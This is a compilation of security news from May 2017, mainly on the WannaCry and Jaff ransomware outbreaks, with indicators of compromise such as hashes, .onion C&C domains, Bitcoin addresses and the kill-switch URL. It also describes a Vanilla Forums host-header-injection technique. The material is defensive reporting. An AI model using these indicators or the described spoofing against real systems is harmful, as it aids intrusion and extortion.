Sidenote; The Dutch language pack was seen in the WannaCry ransomware campaign. This indicates that preparations were made by the cybercriminals to handle Dutch infected clients, despite the fact that no infections have been seen in The Netherlands up till this moment.

The following language packs were found:

m_bulgarian, m_chinese (simplified), m_chinese (traditional), m_croatian, m_czech, m_danish, m_dutch, m_english, m_filipino, m_finnish, m_french, m_german, m_greek, m_indonesian, m_italian, m_japanese, m_korean, m_latvian, m_norwegian, m_polish, m_portuguese, m_romanian, m_russian, m_slovak, m_spanish, m_swedish, m_turkish, m_vietnamese

WannaCry ransomware

Sidenote2: The WannaCry Ransomware kill switch has been activated, although, this does not mean that other cybercriminals will not adapt the cyber kill chain of the WannaCry ransomware campaign, another posibility is of course that the cybercriminals will remove the Kill Switch from the source code.

Filetypes used by the campaign:

.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der

Hardcoded Bitcoin payment addresses

https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

WannaCry SHA256 Hashes

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eeb9cd6a1c4b3949b2ff3134a77d6736b35977f951b9c7c911483b5caeb1c1fb

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f7c7b5e4b051ea5bd0017803f40af13bed224c4b0fd60b890b6784df5bd63494

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fc626fe1e0f4d77b34851a8c60cdd11172472da3b9325bfe288ac8342f6c710a

C&C Domain indicators of compromise

57g7spgrzlojinas.onion

76jdd2ir2embyv47.onion

cwwnhwhlz52maqm7.onion

gx7ekbenv2riucmf.onion

sqjolphimrr7jqw6.onion

xxlvbrloxvriy2c5.onion

DO NOT Block – URL KILLSWITCH

www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/favicon.icoiuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

Our advice:

Apply patch MS17-010 NOW
Until patches are applied, considering blocking zip attachments on your firewall
For home users, run windows update
Monitor TOR activity


Alarm Grows Over Global Ransomware Attacks

13.5.2017 securityweek  Ransomware
Security experts expressed alarm Friday over a fast-moving wave of cyberattacks around the world that appeared to exploit a flaw exposed in documents leaked from the US National Security Agency.

The attacks came in the form of ransomware, a technique used by hackers that locks a user's files unless they pay the attackers in bitcoin.

The scope of the attacks was not immediately clear, amid varying estimates from security researchers. But the malware was linked to attacks on hospitals in Britain as well as the Spanish telecom giant Telefonica and was also spreading in other countries.

The malware's name is WCry, but analysts were also using variants such as WannaCry, WanaCrypt0r, WannaCrypt, or Wana Decrypt0r.

Microsoft released a security patch earlier this year for the flaw, but many systems have yet to be updated, researchers said.

Researcher Costin Raiu of the Russian-based security firm Kaspersky said in a tweet, "So far, we have recorded more than 45,000 attacks of the #WannaCry ransomware in 74 countries around the world. Number still growing fast."

Jakub Kroustek of Avast said on Twitter the security firm had detected "36,000 detections of #WannaCry (aka #WanaCypt0r aka #WCry) #ransomware so far. Russia, Ukraine, and Taiwan leading. This is huge."

Kaspersky said the malware was released in April by a hacking group called Shadow Brokers which claimed to have discovered the flaw from the NSA.

In the United States the package delivery giant Fedex acknowledged it was hit by malware after one researcher cited the company as a target.

"Like many other companies, FedEx is experiencing interference with some of our Windows-based systems caused by malware," the company said in a statement.

"We are implementing remediation steps as quickly as possible."


U.S. Intelligence Community Highlights Cyber Risks in Worldwide Threat Assessment

13.5.2017 securityweek  Cyber
AI, IoT and Fake News Highlighted as On-going Cyber Threats

In its statement to the Senate Select Committee on Intelligence on Wednesday, The Intelligence Community combined current and future cyber threats with its overview of kinetic and political threats to America.

Cyber adversaries, warns the Worldwide Threat Assessment of the US Intelligence Community (PDF), "are becoming more adept at using cyberspace to threaten our interests and advance their own, and despite improving cyber defenses, nearly all information, communication networks, and systems will be at risk for years."

Russia, China, Iran and North Korea are given special reference as cyber threat actors. Russia's "cyber operations will continue to target the United States and its allies to gather intelligence, support Russian decision-making, conduct influence operations to support Russian military and political objectives, and prepare the cyber environment for future contingencies."

Cyber activity from China has declined since the bilateral Chinese-US cyber commitments of September 2015, but cyber espionage continues. China also selectively targets individuals or organizations it believes might threaten its domestic regime.

Iran, which the statement describes as "the foremost state sponsor of terrorism", has already used its cyber capabilities against the US (such as an intrusion into the industrial control system of a US dam in 2013, and the data deletion attack on a US-based casino in 2014).

North Korea has similarly targeted the US, "specifically, Sony Pictures Entertainment in 2014 -- and remains capable of launching disruptive or destructive cyber-attacks to support its political objectives."

Global threats come from terrorists and criminals. ISIS, Hezbollah and HAMAS are sources of terrorist-based cyber threats. In particular, "ISIS will continue to seek opportunities to target and release sensitive information about US citizens, similar to their operations in 2015 disclosing Information about US military personnel, in an effort to inspire attacks."

Cyber criminals are "developing and using sophisticated cyber tools for a variety of purposes including theft, extortion, and facilitation of other criminal activities." Ransomware is given special mention.

The statement warns that there are physical, economic and psychological consequences from cyber threats. The physical threats come from attacks on the critical infrastructure and from an increasing likelihood of attacks against critical IoT devices. "If adversaries gain the ability to create significant physical effects in the United States via cyber means, they will have gained new avenues for coercion and deterrence."

The psychological consequences of attacks from both state and non-state actors can "distort the perceptions and decision-making processes of the target." It also warns that "even a technically secure Internet can serve as a platform for the delivery of manipulative content crafted by foes seeking to gain Influence or foment distrust."

Emerging threats come from artificial intelligence (AI), the internet of things (IoT), and perhaps surprisingly, the decline of Moore's Law.

"The implications of our adversaries' abilities to use AI are potentially profound and broad. They include an increased vulnerability to cyber attack, difficulty in ascertaining attribution, facilitation of advances in foreign weapon and intelligence systems, the risk of accidents and related liability issues, and unemployment." Brian Dye, EVP of corporate products, told SecurityWeek that McAfee is already seeing adversaries attempting to poison machine learning (ML) defenses with false positives. The use of ML against ML will hasten this process, and make even advanced network defenses more vulnerable.

The IoT offers a new attack vector for adversaries. "In the future," warns the Intelligence Community, "state and non-state actors will likely use IoT devices to support intelligence operations or domestic security or to access or attack targeted computer networks."

The decline of Moore's Law is likely to reduce the US technology advantage that "underpins many US economic and security advantages... potentially eroding US national security advantages."

It is not within the remit of this statement to suggest solutions to cyber threats, but it does note that an international agreement on norms of cyber behavior is unlikely in the near future. Cyber norms are often considered to be the best long term hope for cyber stability, but "although efforts are ongoing to gain adherence to certain voluntary, non-binding norms of responsible state behavior in cyberspace, they have not gained universal acceptance, and efforts to promote them are increasingly polarized."

In short, the Intelligence Community sees no diminution of the cyber threat to the US; newly emerging threat vectors making the situation more difficult; and no immediate sign of any long-term solution.


Mobile Ecosystem Vulnerable Despite Security Improvements: DHS

13.5.2017 securityweek  BigBrothers
Mobile security is improving, but unprotected communication paths leave the ecosystem vulnerable, according to recent report from the Department of Homeland Security (DHS) and the National Institute of Standards and Technology (NIST).

The study details five primary components of the mobile ecosystem (mobile device technology stack, mobile applications, mobile network protocols and services, physical access to the device, and enterprise mobile infrastructure), as well as the attack surface for each of them. The report provides Congress with a view of the mobile security threats government workers face, while noting that defenses must cover the entire threat surface, not only the categories these threats fall into.

According to DHS’ Study on Mobile Device Security (PDF), mobile operating system providers have made advances, mobile device management and enterprise mobility management systems offer scrutiny and security configuration management, and best practices guides issued both by NIST and private industry further improve the landscape. Despite that, communication paths that remain unprotected create vulnerabilities, and further new fifth generation network protocols require additional hardening, and research still needs to be done, the report says.

Mobile operating systems

Currently the most popular mobile operating system out there, Android is seeing improvements to its security patch lifecycle, courtesy of an “Android security patch level” indicator that Google has introduced several months back. Because security fixes are delivered monthly, users and enterprises can easily assess the security state of their devices simply by looking at the patch level.

Mobile SecurityGoogle is pushing patches quickly to Nexus and Pixel devices and multiple manufacturers have already committed to distributing these fixes in a timely manner, but most Android devices is use remain unpatched for long periods of time, the report notes. This was also the conclusion of a June 2016 report from Duo Security, which revealed that, while most Android devices were eligible to receive updates, only a very small percentage actually got them.

“These security architecture improvements across all the mainstream mobile and PC operating systems (Google’s Android and Apple’s iOS as well as Microsoft’s Windows and other operating systems) are to be encouraged and applauded because they increase resilience to attack and raise the level of difficulty and the cost for attackers to discover vulnerabilities and develop exploits. Nevertheless, sufficiently motivated parties will continue to find exploitable vulnerabilities in mobile operating systems and other lower-level device components,” the report reads.

Additionally, there’s the issue of zero-day vulnerabilities, which have large monetary values associated, and which could be used by advanced attackers against high-value targets where the investment is justified (the Pegasus iOS malware serves as a great example). Apple and Google offer significant monetary rewards to researchers who disclose such flaws, but large prizes such as Zerodium’s $1.5 million for an exploitable zero-day in Apple iOS might seem more appealing.

Devices with unlocked bootloaders are more exposed to attacks, the same as jailbroken or rooted devices, which represent a major issue when used within enterprise environments. Thus, enterprises should advise employees not to root or jailbreak their devices, and should also ensure that the latest available patches are installed on all devices, thus keeping them safe from publicly known security vulnerabilities.

Mobile applications

Most mobile applications are available to users via dedicated portals, such as the Apple App Store and Google Play (each with around two million apps), but third party stores also exist, and some of them are non-legitimate sources of applications. Furthermore, the reliability and security of applications distributed through these stores may vary, especially since the vetting process is more opaque or less robust when compared to that of the public stores of OS vendors.

Applications pose security risks because of vulnerabilities that could be exploited or because they have been created for malicious purposes. Some of the vulnerabilities could expose users to excessive risks, and these include: insecure network communication, insecure file permissions/unprotected location when storing files, sensitive information written to system log, web browser flaws, vulnerabilities in third-party libraries, and cryptographic vulnerabilities.

App provenience is important when considering defenses against apps with inherent vulnerabilities, especially when it comes to software used by the Federal Government (which includes apps commissioned or built specifically for internal or external use and commercially available apps). App developers should follow security best practices and use mobile application vetting tools, enterprises should deploy and maintain Enterprise Mobility Management/Mobile device management (EMM/MDM) tools, and threat intelligence should be used to understand the potential risks associated with apps installed on devices, the report notes.

Malicious or privacy-invasive applications, on the other hand, are often focused on exploiting vulnerabilities in the operating system. These include apps that gather privacy-sensitive information, eavesdropping apps, programs that exploit flaws in other apps or access to sensitive enterprise networks or data, ransomware, software meant to enable fraud, rooting/jailbreaking apps, programs that manipulate trusted apps, or exploit public mobile app stores.

Mobile networks

“Vulnerabilities in this element of the mobile ecosystem are the most difficult to remediate because they are an intrinsic part of the design and operation of live cellular networks. Attempts to fix or update deployed systems can lead to outages that can affect the entire country,” the report reads. “It is important to note that each generation and family of mobile networks is a unique implementation and is not forward or backward compatible.”

Evolved from GSM through UMTS, Long Term Evolution (LTE) represents the most recent generation of radios used in mobile phones and is significantly more advanced than previous standards. However, GSM is still in use and will continue to be at least for the next three years, and LTE inherits some of the GSM architectural weaknesses, which creates security risks for all users. To that, one can add the attack surface that Signaling System 7 (SS7) opens (recently abused to steal money from bank accounts).

Threats to consider at the network level include those related to SIM cards (theft, cloning, or stealing cryptographic keys), radio access networks (jamming or denial of service, physical attacks on base station infrastructure), LTE (downgrade attacks, eavesdropping, device and identity tracking, prevention of emergency phone calls, network level denial of service), backhaul networks (eavesdropping), core networks (attacks against SS7), and external networks.

Device physical access

Once an attacker has physical access to a device, they can potentially obtain data, access it, or modify it, depending on the configuration of the device. Many people don’t use a passcode, pattern, or Personal Identification Number (PIN) on their devices, which means their data is exposed if their devices are lost or stolen. Recently, the addition of fingerprint sensors on devices has encouraged users to add a screen lock passcode, which is required for enabling the sensor, the report notes.

While activation lock capabilities Apple and Google added to mobile devices prevent actors from factory resetting lost or stolen devices, other physical-based attack vectors do exist, such as USB attacks. Also possible are scenarios where the mobile device is used to spread malware when connected to a computer.

Mobile enterprise

“Mobile devices do bring new threats to enterprises and can be used to target enterprise systems. Mobile devices form a unique class of end user equipment that frequently moves inside and outside of enterprise networks. This movement means that mobile devices compromised elsewhere can be used as vectors to compromise other enterprise devices or even the enterprise,” the study notes.

Incidents where malware spread from Android devices to other systems are becoming more frequent. This happens when a user attempts to charge a compromised device through an available USB port although they shouldn’t. The recently discovered DressCode Android malware was observed attempting to infect enterprise networks through compromised mobile devices.

Attackers can target EMM – technologies that help IT admins to control and manage mobile data, mobile devices, and their connections with enterprise resources – to gain unauthorized access to the admin console, or can impersonate an EMM server, allowing them to track users, access all mobile devices, or install malware for further attacks.

Private mobile application stores that enterprises use to manage and distribute software face threats as well: “impersonation or unauthorized use of administrator credentials, app developer credentials, or distribution certificates. Bypass or subvert application security analysis or vetting techniques,” the report reads. This could allow attackers to distribute enterprise apps to third-parties, and modify apps or deploy malicious apps to facilitate further attacks.

Emerging threats

In addition to the above, the report identified a series of probable emerging threats, which fall into the following categories: Open Source Signals Intelligence; Advances in decryption of cellular network authentication and privacy standards in the public sector; Advances in “IMSI Catcher” capabilities; Increasingly sophisticated cybercrime and fraud targeting individuals and corporations; and Increasing use of broad spectrum jamming by citizens seeking privacy.

Focused on identifying gaps in current defenses that require further research or improvement, the report also delivers a framework to help identifying attacker tactics and techniques, and informs on areas where current mitigations can’t properly protect mobile devices. Further, the report analyzes emerging threats, lists mobile security best practices collected from NIST and other government and non-government organizations, and also points out weaknesses in SS7 and Diameter.

“Threats to the Government’s use of mobile devices are real and exist across all elements of the mobile ecosystem. This is evident from the threat assessment conducted for this study and documented in the previous sections. The corresponding analysis of available defenses shows that despite significant advances in addressing both deliberate and accidental threats to mobile security, gaps remain that will command additional effort by Government and industry to reduce the risk of using mobile technologies,” the report reads.


Former FireEye Chief David DeWalt Joins Cyber Investment Firm Allegis Capital

13.5.2017 securityweek  CyberCrime
Cybersecurity investment firm Allegis Capital announced on Friday that former FireEye CEO David DeWalt is joining as a venture partner.

DeWalt served as president, chief executive officer and director of McAfee from April 2007 until February 2011, after Intel’s surprise $7.68 billion acquisition of McAfee. DeWalt resigned from his role as President at McAfee in July 2011.

Founded in 1996, current investments by Allegis include Area 1, Bracket Computing, Cyber GRX, E8 Security, RedOwl, Signifyd, Synack, tCell.io and vArmour. Allegis is also a founding partner in Columbia, Maryland-based cybersecurity incubator DataTribe.

DeWalt joined FireEye as chairman of the board of directors in May 2012, and took on the role of CEO in November of 2012. He stepped down in June 2016, handing the reigns over to current CEO Kevin Mandia.

DeWalt, 52, is the sixth cyber security executive serving as a venture partner at Allegis, a 21-year-old early stage venture firm that invests exclusively in cybersecurity startups.

He is also a board member at identity and access management firm ForgeRock, vice chairman of ForeScout Technologies, a San Jose cybersecurity firm focused on network-connected devices, and a board member of cloud software firm Five9.

DeWalt is also a director of Delta Air Lines, and recently joined industrial cybersecurity startup Claroty as chairman of the board of directors.

“Dave has operated at the top of the cyber security market for many years and is a superlative addition to an already-impressive group of venture partners,” said Robert R. Ackerman Jr., founder and managing director of Allegis Capital. “Cyber is a market where you can’t have too much expertise.”


Global Cyber Attacks Hit British Hospitals, Spanish Firms

13.5.2017 securityweek  CyberCrime
Britain's National Health Service declared a "major incident" after cyber attacks hit dozens of hospitals on Friday, as security experts pointed to a global campaign that also disrupted Spanish businesses.

Some of the affected hospitals had to divert ambulances, scrap operations and shut down their computer systems or ask patients to avoid contacting their family doctors unless absolutely necessary.

At least 16 organisations within the state-run National Health Service, some of them responsible for several hospitals each, have reported being struck.

"A number of NHS organisations have reported to NHS Digital that they have been affected by a ransomware attack," NHS Digital said in a statement.

NHS Incident Director Anne Rainsberry said: "We ask people to use the NHS wisely while we deal with this major incident which is still ongoing".

Pictures posted on social media showed screens of NHS computers with images demanding payment of $300 (275 euros) worth of the online currency Bitcoin, saying: "Ooops, your files have been encrypted!"

It adds: "Maybe you are looking for a way to recover your files, but do not waste your time."

It demands payment in three days or the price is doubled, and if none is received in seven days the files will be deleted, the screen message claims.

In Spain, employees at telecom giant Telefonica were told to shut down their workstations immediately through megaphone announcements as the attack spread.

Forcepoint Security Labs said that "a major malicious email campaign" consisting of nearly five million emails per hour was spreading the new ransomware.

The group said in a statement that the attack had "global scope", affecting organisations in Australia, Belgium, France, Germany, Italy and Mexico.

- Top spooks on the case -

Britain's National Cyber Security Centre and its National Crime Agency said they were looking into the UK incidents, apparently caused by a piece of malware called Wanna Decryptor.

"At this stage we do not have any evidence that patient data has been accessed," the NHS Digital statement said.

"This attack was not specifically targeted at the NHS and is affecting organisations from across a range of sectors," it added.

Several individual health service trusts in England reported severe problems.

A spokesman for Barts Health NHS Trust in London said it was experiencing "major IT disruption" and delays at all four of its hospitals.

"We have activated our major incident plan to make sure we can maintain the safety and welfare of patients," the spokesman said.

"Ambulances are being diverted to neighbouring hospitals."

Two employees at St Bartholomew's Hospital, which is part of Barts Health, told AFP that all the computers in the hospital had been turned off.

"We have been told that we need to shut down all the computers and even our Wi-Fi on our phones. No computers are currently working," they said, speaking on condition of anonymity as they were not authorised to speak to press.

Caroline Brennan, 41, went to the hospital to see her brother, who had open heart surgery.

"They told us there was a problem. They said the system was down and that they cannot transfer anyone till the computer system was back up so he is still in the theatre.

"They told us to come back in 30 to 40 minutes. They said they started the system again."

- Systems shutdown -

Derbyshire Community Health Services in central England said on Twitter: "All IT systems have been temporarily shut down".

Blackpool Hospitals NHS Trust in northwest England, which includes six hospitals, said: "Please don't attend A&E (accident and emergency) unless it's an emergency".

The United Lincolnshire Hospitals NHS Trust in eastern England scrapped "all outpatient, endoscopy, cardiology and radiology appointments scheduled for this weekend" as it did not know how long the attack would last.

Kubo Macak, a cyber warfare expert at Exeter University, said that if the "investigation shows that the cyber attack was directed by an outside state, it would amount to a violation of the UK's sovereignty".


0-Day Flaws in Vanilla Forums Let Remote Attackers Hack Websites
13.5.2017 thehackernews Vulnerebility
hacking-vanilla-forum-vulnerability
A security researcher has publicly disclosed two critical zero-day vulnerabilities in Vanilla Forums, an open source software that powers discussion on over 500,000 websites, which could allow unauthenticated, remote attackers to fully compromise targeted websites easily.
Discovered by Polish security researcher Dawid Golunski of Legal Hackers, two separate unpatched vulnerabilities, a remote code execution (CVE-2016-10033) and host header injection (CVE-2016-10073), affect the latest version of Vanilla Forums 2.3, leaving hundreds of thousands of websites and their visitors vulnerable to various hacking attacks.
Vanilla Forums: Remote Code Execution Flaw
According to Golunski, both vulnerabilities technically exist because Vanilla Forum is still using a vulnerable version of PHPMailer, one of the most popular open source PHP libraries used to send emails.
Last year Golunski reported a critical remote code execution flaw (CVE-2016-10033) in PHPMailer library that allows an attacker to remotely execute arbitrary code in the context of the web server and compromise the target web application.

In a proof-of-concept video, Golunski demonstrated that the same PHPMailer exploit also makes the Vanilla Forums vulnerable, and if used in combination with host header injection, it allows attackers to inject arbitrary commands and payloads passed within the HOST header.
"It should be noted that this vulnerability can still be exploited even if Vanilla software is hosted on Apache web server with several name-based vhosts enabled, and despite not being the default vhost," the researcher explained.
Vanilla Forums: Host Header Injection Flaw
The Host Header Injection vulnerability in Vanilla forum can also be independently used to hijack user accounts, let's say admin, by sending a spoofed HTTP request with a custom HOST header (for example attacker-mxserver.com), while initiating a password reset process for a targeted admin user.
This technique also works in a similar manner as the Wordpress flaw, Golunski disclosed just last week, allowing attackers to gain access to user accounts, "carrying Web-cache poisoning attacks, and in some instances, execute arbitrary code."
Golunski reported the vulnerabilities to the Vanilla Forums in January this year. The company acknowledged his reports but went mum for around five months, which made him go public with his findings.
The researcher confirmed both the flaws still exist in the most recent, stable version 2.3 of Vanilla Forums, and believes that older versions of the forum software are also vulnerable.
Until the company fixes the issue, as a temporary mitigation, Golunski advises website administrator to set the sender's email address to a predefined static value in order to block the Vanilla Forums from using the HOST header.
Update: Vanilla Forums fixed the reported vulnerabilities last night, and said the issues only affect its free and open source product, adding "neither of these vulnerabilities affect our cloud customers" at vanillaforums.com, "nor were they at the time of their publication."
Users of its free and open source software are strongly recommended to update their Vanilla Forums software to the latest open source version, Vanilla 2.3.1.


Microsoft Brings Ubuntu, Suse, and Fedora Linux to Windows Store
13.5.2017 thehackernews IT
Microsoft has been expressing its love for Linux and Open Source for almost three years now, and this love is embracing as time passes.
Just last year, Microsoft made headlines by building support for the Bash shell and Ubuntu Linux binaries into Windows 10, allowing users to run limited instances of Linux directly on top of the OS without installing any virtual machine, as well as developers to run command-line tools while building apps.
Now, Microsoft has announced at its Build developer conference in Seattle that three different flavors of the free Linux operating system are coming to the company's app store, so its users can run Windows and Linux apps side-by-side.
Yes, it's no joke. Three versions of Linux distributions – Ubuntu, Fedora, and SUSE – are coming to the Windows Store.
ubuntu-windows-store
Now, you'll soon be able to install these Linux operating systems on your Windows device just like any other app.
While Ubuntu is already available on the Windows Store for anyone to download, Fedora and SUSE are coming soon.
This latest move by Microsoft follows its commitment to the open source community. In 2013, the company launched Visual Studio 2013. A year later, it open-sourced .NET, and in 2015, it open sourced the Visual Studio Code Editor, as well.
Just last year, the company brought Ubuntu on Windows 10, worked with FreeBSD to develop a Virtual Machine image for its Azure cloud, chose Ubuntu as the OS for its Cloud-based Big Data services, and even joined the Linux Foundation as a Platinum member – the highest level of membership, which costs $500,000 annually.
Adding Ubuntu, Suse, and Fedora to the Windows Store is also a way to make it easier for developers who love using Linux software to let them install the Linux version of their choice on their Windows 10 machine.
What do you think about Ubuntu, Fedora, and SUSE coming to Windows Store? Let me know in the comments below.


Botnet Sending 5 Million Emails Per Hour to Spread Jaff Ransomware
13.5.2017 thehackernews Ransomware

A massive malicious email campaign that stems from the Necurs botnet is spreading a new ransomware at the rate of 5 million emails per hour and hitting computers across the globe.
Dubbed "Jaff," the new file-encrypting ransomware is very similar to the infamous Locky ransomware in many ways, but it is demanding 1.79 Bitcoins (approx $3,150), which much higher than Locky, to unlock the encrypted files on an infected computer.
According to security researchers at Forcepoint Security Lab, Jaff ransomware, written in C programming language, is being distributed with the help of Necurs botnet that currently controls over 6 million infected computers worldwide.
Necurs botnet is sending emails to millions of users with an attached PDF document, which if clicked, opens up an embedded Word document with a malicious macro script to downloads and execute the Jaff ransomware, Malwarebytes says.
Jaff is Spreading at the Rate of 5 Million per Hour

The malicious email campaign started on Thursday morning at 9 am and had peaked by 1 pm, and its system recorded and blocked more than 13 million emails during that period – that's 5 Million emails per an hour.
"Jaff targets 423 file extensions. It is capable of offline encryption without dependency on a command and control server. Once a file is encrypted, the '.jaff' file extension is appended," Forcepoint says.
The ransomware then drops a ransom note in every affected folder while the desktop background of the infected computer is also replaced.
The ransom note tells victims that their files are encrypted, but doesn’t ask them for any payments; instead, it urges victims to visit a payment portal located on a Tor site, which is accessible via Tor Browser, in order to get decrypt their important files.
Once victims install Tor Browser and visit the secret site, there they are then asked for an astounding 1.79 BTC (about $3,150).

Separate research conducted by Proofpoint researchers indicated that the Jaff ransomware could be the work of the same cybercriminal gang behind Locky, Dridex, and Bart.
The security company said that the Raff ransomware campaign had affected users globally with primarily victim organizations in the United Kingdom and the United States, as well as Ireland, Belgium, Italy, Germany, the Netherlands, France, Mexico and Australia.
Massive Ransomware Attack Uses NSA's Windows Exploit
In separate news, another massive fast-spreading ransomware campaign is targeting computers at Hospitals, Banks, Telecom and Organisations across the globe today.
The ransomware, known as WanaCypt0r or WannaCry, is using NSA's Windows exploit, EternalBlue, which was leaked by Shadow Brokers hacking group over a month ago.
Within just hours this cyber attack has infected more than 60,000 computers in 74 countries.
How can you Protect yourself from the Jaff Ransomware?
To safeguard against such ransomware infection, you should always be suspicious of uninvited documents sent an email and should never click on links inside those documents unless verifying the source.
Check if macros are disabled in your Microsoft Office applications. If not, block macros from running in Office files from the Internet. In enterprises, your system admin can set the default setting for macros.
To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Moreover, make sure that you run an active anti-virus security suite of tools on your system, and most importantly, always browse the Internet safely.


WannaCry Ransomware That's Hitting World Right Now Uses NSA Windows Exploit
13.5.2017 thehackernews Ransomware

Earlier today, a massive ransomware campaign hit computer systems of hundreds of private companies and public organizations across the globe – which is believed to be the most massive ransomware delivery campaign to date.
The Ransomware in question has been identified as a variant of ransomware known as WannaCry (also known as 'Wana Decrypt0r,' 'WannaCryptor' or 'WCRY').
Like other nasty ransomware variants, WannaCry also blocks access to a computer or its files and demands money to unlock it.
Once infected with the WannaCry ransomware, victims are asked to pay up to $300 in order to remove the infection from their PCs; otherwise, their PCs render unusable, and their files remain locked.
In separate news, researchers have also discovered a massive malicious email campaign that's spreading the Jaff ransomware at the rate of 5 million emails per hour and hitting computers across the globe.
Ransomware Using NSA's Exploit to Spread Rapidly
What's interesting about this ransomware is that WannaCry attackers are leveraging a Windows exploit harvested from the NSA called EternalBlue, which was dumped by the Shadow Brokers hacking group over a month ago.
Microsoft released a patch for the vulnerability in March (MS17-010), but many users and organizations who did not patch their systems are open to attacks.
The exploit has the capability to penetrate into machines running unpatched version of Windows XP through 2008 R2 by exploiting flaws in Microsoft Windows SMB Server. This is why WannaCry campaign is spreading at an astonishing pace.
Once a single computer in your organization is hit by the WannaCry ransomware, the worm looks for other vulnerable computers and infects them as well.
Infections from All Around the World
In just a few hours, the ransomware targeted over 45,000 computers in 74 countries, including United States, Russia, Germany, Turkey, Italy, Philippines and Vietnam, and that the number was still growing, according to Kaspersky Labs.
According to a report, the ransomware attack has shut down work at 16 hospitals across the UK after doctors got blocked from accessing patient files. Another report says, 85% of computers at the Spanish telecom firm, Telefonica, has get infected with this malware.
Another independent security researcher, MalwareTech, reported that a large number of U.S. organizations (at least 1,600) have been hit by WannaCry, compared to 11,200 in Russia and 6,500 in China.

Screenshots of the WannaCry ransomware with different languages, including English, Spanish, Italian, were also shared online by various users and experts on Twitter.
Bitcoin wallets seemingly associated with WannaCry were reportedly started filling up with cash.
The Spanish computer emergency response organization (CCN-CERT) has even issued an alert that warns users of the "massive attack of ransomware" from WannaCry, saying (translated version):
"The ransomware, a version of WannaCry, infects the machine by encrypting all its files and, using a remote command execution vulnerability through SMB, is distributed to other Windows machines on the same network."
It is unclear how the WannaCry ransomware is infecting systems, but obvious attack vector can be phishing emails or victims visiting a website containing malware.
"Power firm Iberdrola and utility provider Gas Natural were also reported to have suffered from the outbreak.," according to BBC.
How to Protect Yourself from WannaCry
First of all, if you haven't patched your Windows machines and servers against EternalBlue exploit (MS17-010), do it right now.
To safeguard against such ransomware infection, you should always be suspicious of uninvited documents sent an email and should never click on links inside those documents unless verifying the source.
To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.
Moreover, make sure that you run an active anti-virus security suite of tools on your system, and most importantly, always browse the Internet safely.


Massive ransomware attack leveraging on WannaCry hits systems in dozens of countries
13.5.2017 securityaffairs  Ransomware

WannaCry ransomware attack is infecting systems in dozens of countries leveraging NSA exploit codes leaked by the hacker group Shadow Brokers.
A Massive ransomware attack targets UK hospitals and Spanish banks, the news was confirmed by Telefónica that was one of the numerous victims of the malicious campaign.

The newspaper El Pais reported the massive attack, experts at Telefónica confirmed the systems in its intranet have been infected, but also added that the situation is currently under control. The fixed and mobile telephony services provided by Telefónica have not been affected by the ransomware-based attack.

The ransomware, dubbed WannaCry (aka Wcry, WanaCrypt, WannaCrypt), also spread among other businesses in Spain, among the victims the energy suppliers Iberdrola and the telco firm Vodafone. Spanish financial institutions confirmed the attacks by downplayed the threat.

WannaCry ransomware
Source Arstechnica

At the time I was writing there is no news about the damage caused by the infections.

The Spanish CERT issued an alert warning the organizations and confirming that the malware is rapidly spreading.

The strain of ransomware at the centre of the outbreak is a variant of Wanna Decryptor aka Wcry aka WanaCrypt aka WannaCry. Spain’s CERT put out an alert saying that the outbreak had affected several organizations.


Jakub Kroustek @JakubKroustek
36,000 detections of #WannaCry (aka #WanaCypt0r aka #WCry) #ransomware so far. Russia, Ukraine, and Taiwan leading. This is huge.
4:56 PM - 12 May 2017
1,764 1,764 Retweets 773 773 likes
The Wanna Decryptor is exploiting the NSA EternalBlue / DoublePulsar exploit to infect other connected Windows systems on the same network.

“The special criticality of this campaign is caused by exploiting the vulnerability described in bulletin MS17-010 using EternalBlue / DoublePulsar, which can infect other connected Windows systems on the same network that are not properly updated. Infection of a single computer can end up compromising the entire corporate network.” states the security alert issued by the CERT.

“The ransomware, a variant of WannaCry, infects the machine by encrypting all its files and, using the vulnerability mentioned in the previous paragraph that allows the execution of remote commands through Samba (SMB) and is distributed to other Windows machines in That same network.”

The DOUBLEPULSAR backdoor allows attackers to inject and execute malicious code on a target system, it is installed by leveraging the ETERNALBLUE, an SMBv1 (Server Message Block 1.0) exploit that could trigger an RCE in older versions of Windows (Windows XP to Server 2008 R2).

The WannaCry is infecting systems in dozens of states, among the victims there is also the UK public health service.

The network warm capabilities of the malware are allowing the rapid diffusion of the threat

The ransomware demands $300 to restore documents, without any other details of the code we can only speculate that the attack was powered by a criminal gang.

The following aspects of the attack must be carefully analyzed:

